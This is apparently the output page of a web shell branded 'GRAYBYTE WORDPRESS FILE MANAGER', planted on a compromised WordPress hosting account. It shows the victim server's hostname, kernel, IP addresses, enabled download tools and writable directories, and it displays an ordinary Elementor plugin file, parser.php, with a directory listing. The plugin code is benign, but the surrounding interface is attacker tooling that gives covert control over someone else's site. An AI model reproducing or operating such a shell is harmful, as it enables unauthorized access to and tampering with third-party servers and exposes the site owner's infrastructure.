✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.105
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/elementor/modules/interactions//parser.php
<?php

namespace Elementor\Modules\Interactions;

use Elementor\Modules\AtomicWidgets\Utils\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Parser {
	protected $post_id;
	protected $ids_lookup = [];

	public function __construct( $post_id ) {
		$this->post_id = $post_id;
	}

	public function assign_interaction_ids( $data ) {
		if ( isset( $data['elements'] ) && is_array( $data['elements'] ) ) {
			$data['elements'] = $this->process_interactions_for( $data['elements'] );
		}

		return $data;
	}

	private function process_interactions_for( $elements ) {
		if ( ! is_array( $elements ) ) {
			return $elements;
		}

		foreach ( $elements as &$element ) {
			if ( isset( $element['interactions'] ) ) {
				$element['interactions'] = $this->maybe_assign_interaction_ids( $element['interactions'], $element['id'] );
			}

			if ( isset( $element['elements'] ) && is_array( $element['elements'] ) ) {
				$element['elements'] = $this->process_interactions_for( $element['elements'] );
			}
		}

		return $elements;
	}

	private function maybe_assign_interaction_ids( $interactions_json, $element_id ) {
		$interactions = $this->decode_interactions( $interactions_json );

		if ( ! isset( $interactions['items'] ) ) {
			return [];
		}

		foreach ( $interactions['items'] as &$interaction ) {
			if ( ! isset( $interaction['$$type'] ) || 'interaction-item' !== $interaction['$$type'] ) {
				continue;
			}

			$existing_id = null;
			if ( isset( $interaction['value']['interaction_id']['value'] ) ) {
				$existing_id = $interaction['value']['interaction_id']['value'];
			}

			if ( $existing_id && $this->is_temp_id( $existing_id ) ) {
				$interaction['value']['interaction_id'] = [
					'$$type' => 'string',
					'value' => $this->get_next_interaction_id( $element_id ),
				];
			} elseif ( $existing_id ) {
				$this->ids_lookup[] = $existing_id;
			} else {
				$interaction['value']['interaction_id'] = [
					'$$type' => 'string',
					'value' => $this->get_next_interaction_id( $element_id ),
				];
			}
		}

		return wp_json_encode( $interactions );
	}

	private function is_temp_id( $id ) {
		return is_string( $id ) && strpos( $id, 'temp-' ) === 0;
	}

	private function decode_interactions( $interactions ) {
		if ( is_array( $interactions ) ) {
			return $interactions;
		}

		if ( is_string( $interactions ) ) {
			$decoded = json_decode( $interactions, true );
			if ( json_last_error() === JSON_ERROR_NONE && is_array( $decoded ) ) {
				return $decoded;
			}
		}

		return [
			'items' => [],
			'version' => 1,
		];
	}

	protected function get_next_interaction_id( $prefix ) {
		$next_id = Utils::generate_id( "{$this->post_id}-{$prefix}-", $this->ids_lookup );
		$this->ids_lookup[] = $next_id;
		return $next_id;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
cache
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
props
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
schema
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
validators
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
interactions-collector.php
1.627 KB
30 Mar 2026 1.49 PM
tdhomesa / tdhomesa
0644
interactions-frontend-handler.php
3.737 KB
20 May 2026 4.19 PM
tdhomesa / tdhomesa
0644
module.php
5.7 KB
20 May 2026 4.19 PM
tdhomesa / tdhomesa
0644
parser.php
2.714 KB
2 Feb 2026 2.52 PM
tdhomesa / tdhomesa
0644
presets.php
1.72 KB
20 May 2026 4.19 PM
tdhomesa / tdhomesa
0644
validation.php
10.859 KB
20 May 2026 4.19 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF